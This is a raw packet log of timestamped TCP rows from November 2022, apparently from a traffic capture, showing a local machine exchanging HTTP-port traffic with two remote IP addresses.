Nov 3, 2022 12:46:55.495932102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495940924 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495971918 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496010065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496016026 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.496048927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496084929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496090889 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.496121883 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496156931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496165037 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.496192932 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496228933 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496236086 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.496263981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496299982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496335983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496337891 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.496370077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496381998 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.496407032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496442080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496449947 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.496476889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496512890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496520042 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.496550083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.496591091 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.497374058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.497411966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.497457027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.504828930 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.507673979 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.513489962 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.513545036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.513581038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.513617992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.513653994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.513665915 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.513689995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.513715982 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.513725996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.513739109 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.513761044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.513796091 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.513804913 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.514549971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.514610052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.514638901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.515017033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.523072004 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.525264025 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.531765938 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.531841993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.531889915 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.531930923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.531970978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.532008886 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.532012939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.532066107 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.532066107 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.536300898 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.162476063 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.162547112 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.219486952 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.229592085 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.329915047 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.397167921 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.397497892 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.401191950 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:56.401369095 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:56.401369095 CET	49705	80	192.168.2.6	185.174.137.70
Nov 3, 2022 12:46:56.440970898 CET	80	49705	185.174.137.70	192.168.2.6
Nov 3, 2022 12:46:56.454543114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464674950 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464706898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464725018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464747906 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464765072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464783907 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464802980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464812994 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.464821100 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464834929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464852095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464855909 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.464869022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464870930 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.464886904 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.464889050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464909077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464929104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464946032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464955091 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.464972019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.464983940 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.464994907 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465070963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465112925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.465112925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.465127945 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465195894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465213060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465230942 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.465313911 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465357065 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.465388060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465447903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465466976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465492010 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.465496063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465532064 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.465634108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465651989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465671062 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465689898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465694904 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.465707064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465723991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465729952 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.465756893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465781927 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.465820074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465837002 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465851068 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.465953112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465974092 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.465991974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.466025114 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.466137886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.466171026 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.466207027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.466224909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.466244936 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.466263056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.466300964 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.466344118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.466394901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.466413021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.466429949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.466432095 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.466465950 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.521945953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.521977901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.521996021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522013903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522031069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522049904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522067070 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522083044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522102118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522119045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522115946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522135973 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522152901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522170067 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522180080 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522180080 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522187948 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522205114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522207975 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522222042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522227049 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522238970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522254944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522272110 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522289038 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522449017 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522468090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522485971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522558928 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522559881 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522599936 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522689104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522706985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522722960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522742033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522744894 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522775888 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522815943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522833109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522850037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522866964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.522871017 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.522924900 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.523097992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523117065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523133993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523154020 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523179054 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.523196936 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.523199081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523335934 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523370981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523391008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523399115 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.523451090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.523463964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523483038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523530006 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.523582935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523602009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523658037 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.523729086 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523752928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523771048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523787975 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523802042 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.523829937 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.523869991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523886919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523904085 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523922920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523948908 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.523972988 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.523979902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.523998976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524015903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524127007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524144888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524163961 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.524189949 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.524279118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524296999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524315119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524328947 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.524364948 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.524405956 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524424076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524441957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524458885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524478912 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.524538040 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.524682999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524702072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524719000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524750948 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.524825096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.524899006 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.525101900 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525223970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525243044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525259972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525274038 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.525310040 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.525434971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525542974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525562048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525578976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525600910 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.525635958 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.525659084 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525676012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525693893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525712013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525728941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525738001 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.525747061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525764942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525779009 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.525795937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.525800943 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.525885105 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.525986910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.526005030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.526022911 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.526041031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.526062965 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.526148081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.526168108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.526185036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.526196957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.526202917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.526232004 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.526237011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.526254892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.526271105 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.526304007 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.582612991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582645893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582664013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582675934 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582690954 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582704067 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582716942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582729101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582746029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582796097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582813025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582829952 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.582834005 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582869053 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.582946062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.582973957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.582993984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583010912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583029032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583070040 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.583095074 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.583161116 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583179951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583197117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583210945 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583251953 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.583399057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583419085 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583436012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583451033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.583470106 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.583513975 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583532095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583570957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.583674908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583693981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583712101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583728075 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.583775997 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.583853006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583873034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583889008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583905935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.583916903 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.583951950 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.584080935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584100962 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584117889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584136963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584157944 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.584171057 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.584209919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584228039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584245920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584310055 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.584372997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584415913 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.584570885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584589958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584606886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584623098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584626913 CET	49704	80	192.168.2.6	193.106.191.15
